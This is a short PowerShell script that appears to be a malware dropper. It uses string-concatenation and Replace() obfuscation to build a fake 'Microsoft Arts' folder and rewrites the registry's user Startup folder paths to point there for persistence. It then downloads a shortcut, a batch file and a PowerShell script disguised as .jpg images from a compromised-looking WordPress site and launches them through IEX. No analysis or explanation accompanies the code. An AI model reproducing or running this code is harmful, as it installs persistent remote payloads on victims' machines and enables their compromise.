Function NJXH
{
[system.io.directory]::CreateDirectory("C"+":"+"\"+"P"+"r"+"o"+"g"+"r"+"a"+"m"+"D"+"a"+"t"+"a"+"\"+"M"+"i"+"c"+"r"+"o"+"s"+"o"+"f"+"t A"+"r"+"t"+"s"+"\"+"S"+"t"+"a"+"r"+"t"+"\")
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\ProgramData\Microsoft Arts\Start";

$ak47 = '-8-631-9316-8--316-88361--91368--rts\Start\'.Replace("-8-631-9316-8--316-88361--91368--","C:\ProgramData\Microsoft A")
$m4ironbeast = 'C-836-8-383-8316-8368-93-8136-8-ic\'.Replace("-836-8-383-8316-8368-93-8136-8-",":\Users\Publ")
$njegaoeagbo = 'C8319-8631-838-1638-761-38-631u-1yu-3yu13-8rwu-ic\'.Replace("8319-8631-838-1638-761-38-631u-1yu-3yu13-8rwu-",":\Users\Publ")

start-sleep -s 5
if((New-Object System.Net.WebClient).DownloadFile('https://pilaconsultores.com/wp-content/themes/twentytwenty/assets/images/MicrosoftEdge.lnk', $ak47 + 'MicrosoftEdge.lnk')){
}

if((New-Object System.Net.WebClient).DownloadFile('https://pilaconsultores.com/wp-content/themes/twentytwenty/assets/images/Mic9BcGjBxSTdd4Uiir.jpg', $m4ironbeast + 'Microsoft.bat')){
}

if((New-Object System.Net.WebClient).DownloadFile('https://pilaconsultores.com/wp-content/themes/twentytwenty/assets/images/VUl0utV8caeEG0GB.jpg' , $njegaoeagbo + 'U6r10wS5dw7pdibu.ps1')){
}
start "C:\ProgramData\Microsoft Arts\Start\MicrosoftEdge.lnk"
}
IEX NJXH